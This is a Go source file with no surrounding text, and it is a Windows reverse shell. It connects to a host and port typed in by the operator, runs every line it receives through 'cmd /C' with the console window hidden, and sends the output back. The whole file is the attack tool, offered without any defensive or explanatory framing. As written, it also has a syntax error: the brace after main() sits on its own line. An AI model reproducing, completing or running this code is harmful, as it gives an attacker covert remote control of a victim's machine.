package main

import (
	"bufio"
	"fmt"
	"net"
	"os/exec"	
	"syscall"
)

func main() 
{	
	var host string
	var port string
	
	fmt.Print("IP: ")    
	fmt.Scanln(&host)
	fmt.Print("Port: ")
	fmt.Scanln(&port)
	
	c, _ := net.Dial("tcp", host + ":" + port)
	r := bufio.NewReader(c)
	for {
		order, _ := r.ReadString('\n')
		cmd := exec.Command("cmd", "/C", order)
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
		out, _ := cmd.CombinedOutput()
		c.Write(out)
	}
}